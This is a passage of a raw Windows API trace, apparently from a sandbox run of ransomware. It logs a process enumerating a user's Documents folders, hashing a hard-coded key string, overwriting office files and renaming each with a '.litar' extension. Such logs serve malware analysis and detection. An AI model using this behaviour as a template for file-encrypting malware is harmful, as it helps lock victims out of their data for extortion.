hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.613] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.613] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.613] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.613] GetLastError () returned 0x0 [0126.613] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.613] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1260) returned 0x30fa0b0 [0126.613] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.613] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x1258, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x1258, lpOverlapped=0x0) returned 1 [0126.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.613] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x125d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.613] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.613] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.613] CloseHandle (hObject=0x624) returned 1 [0126.614] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\j3Zk5qyJiGa6pOh.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\j3zk5qyjiga6poh.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\j3Zk5qyJiGa6pOh.odp.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\j3zk5qyjiga6poh.odp.litar")) returned 1 [0126.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.615] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.616] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfee034b0, ftCreationTime.dwHighDateTime=0x1d4c57c, ftLastAccessTime.dwLowDateTime=0x33142330, ftLastAccessTime.dwHighDateTime=0x1d4d410, ftLastWriteTime.dwLowDateTime=0x33142330, ftLastWriteTime.dwHighDateTime=0x1d4d410, nFileSizeHigh=0x0, nFileSizeLow=0x125d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j3Zk5qyJiGa6pOh.odp", cAlternateFileName="J3ZK5Q~1.ODP")) returned 0 [0126.616] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.616] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.616] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.616] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\") returned="TWsD3\\" [0126.616] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\") returned="38Tocm\\" [0126.616] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0126.616] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.616] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.616] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.616] PathFindFileNameW (pszPath="") returned="" [0126.616] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2ce30, ftCreationTime.dwHighDateTime=0x1d4caf5, ftLastAccessTime.dwLowDateTime=0x304f3680, ftLastAccessTime.dwHighDateTime=0x1d4d091, ftLastWriteTime.dwLowDateTime=0x304f3680, ftLastWriteTime.dwHighDateTime=0x1d4d091, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.618] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2ce30, ftCreationTime.dwHighDateTime=0x1d4caf5, ftLastAccessTime.dwLowDateTime=0x304f3680, ftLastAccessTime.dwHighDateTime=0x1d4d091, ftLastWriteTime.dwLowDateTime=0x304f3680, ftLastWriteTime.dwHighDateTime=0x1d4d091, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.618] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73e710d0, ftCreationTime.dwHighDateTime=0x1d4ce9c, ftLastAccessTime.dwLowDateTime=0x49405410, ftLastAccessTime.dwHighDateTime=0x1d4cf21, ftLastWriteTime.dwLowDateTime=0x49405410, ftLastWriteTime.dwHighDateTime=0x1d4cf21, nFileSizeHigh=0x0, nFileSizeLow=0x7ec8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0jha7Ez6BS.ods", cAlternateFileName="0JHA7E~1.ODS")) returned 1 [0126.618] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\0jha7Ez6BS.ods") returned=".ods" [0126.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\0jha7Ez6BS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\0jha7ez6bs.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.619] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=32456) returned 1 [0126.619] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.621] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7ea2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.621] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.622] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.623] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x7ec8, lpOverlapped=0x0) returned 1 [0126.623] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.623] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.623] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.623] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.623] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.624] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.624] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.624] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.624] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.624] GetLastError () returned 0x0 [0126.624] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.624] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.624] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.624] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7ed0) returned 0x30fa0b0 [0126.625] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.625] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x7ec3, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x7ec3, lpOverlapped=0x0) returned 1 [0126.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.625] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7ec8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.625] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.625] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.625] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.625] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.625] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.625] CloseHandle (hObject=0x624) returned 1 [0126.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.626] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.626] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.626] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\0jha7Ez6BS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\0jha7ez6bs.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\0jha7Ez6BS.ods.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\0jha7ez6bs.ods.litar")) returned 1 [0126.627] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.627] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.628] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b39e460, ftCreationTime.dwHighDateTime=0x1d4d392, ftLastAccessTime.dwLowDateTime=0x54cecb30, ftLastAccessTime.dwHighDateTime=0x1d4c98c, ftLastWriteTime.dwLowDateTime=0x54cecb30, ftLastWriteTime.dwHighDateTime=0x1d4c98c, nFileSizeHigh=0x0, nFileSizeLow=0x11ebc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6iJuvel1.odt", cAlternateFileName="")) returned 1 [0126.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.628] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.628] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.628] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\6iJuvel1.odt") returned=".odt" [0126.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\6iJuvel1.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\6ijuvel1.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.628] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=73404) returned 1 [0126.628] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.630] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11e96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.630] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.632] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.632] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.632] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x11ebc, lpOverlapped=0x0) returned 1 [0126.632] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.632] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.632] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.633] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.633] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.633] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.633] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.633] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.633] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.633] GetLastError () returned 0x0 [0126.634] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.634] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11ec0) returned 0x30fa0b0 [0126.634] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.634] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x11eb7, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x11eb7, lpOverlapped=0x0) returned 1 [0126.634] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.634] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11ebc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.634] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.635] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.635] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.635] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.635] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.635] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.635] CloseHandle (hObject=0x624) returned 1 [0126.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.636] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.636] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.636] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\6iJuvel1.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\6ijuvel1.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\6iJuvel1.odt.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\6ijuvel1.odt.litar")) returned 1 [0126.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.637] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.638] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50cab60, ftCreationTime.dwHighDateTime=0x1d4cb49, ftLastAccessTime.dwLowDateTime=0x45530a50, ftLastAccessTime.dwHighDateTime=0x1d4d471, ftLastWriteTime.dwLowDateTime=0x45530a50, ftLastWriteTime.dwHighDateTime=0x1d4d471, nFileSizeHigh=0x0, nFileSizeLow=0x13650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BR7Cji.doc", cAlternateFileName="")) returned 1 [0126.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.638] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\BR7Cji.doc") returned=".doc" [0126.638] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\TWsD3\\BR7Cji.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\twsd3\\br7cji.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.639] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=79440) returned 1 [0126.639] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.640] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1362a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.640] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.642] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.642] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x13650, lpOverlapped=0x0) returned 1 [0126.643] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.643] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.643] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.643] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.644] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.644] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.644] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.644] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.644] GetLastError () returned 0x0 [0126.644] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.644] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13650) returned 0x30fa0b0 [0126.645] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.645] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 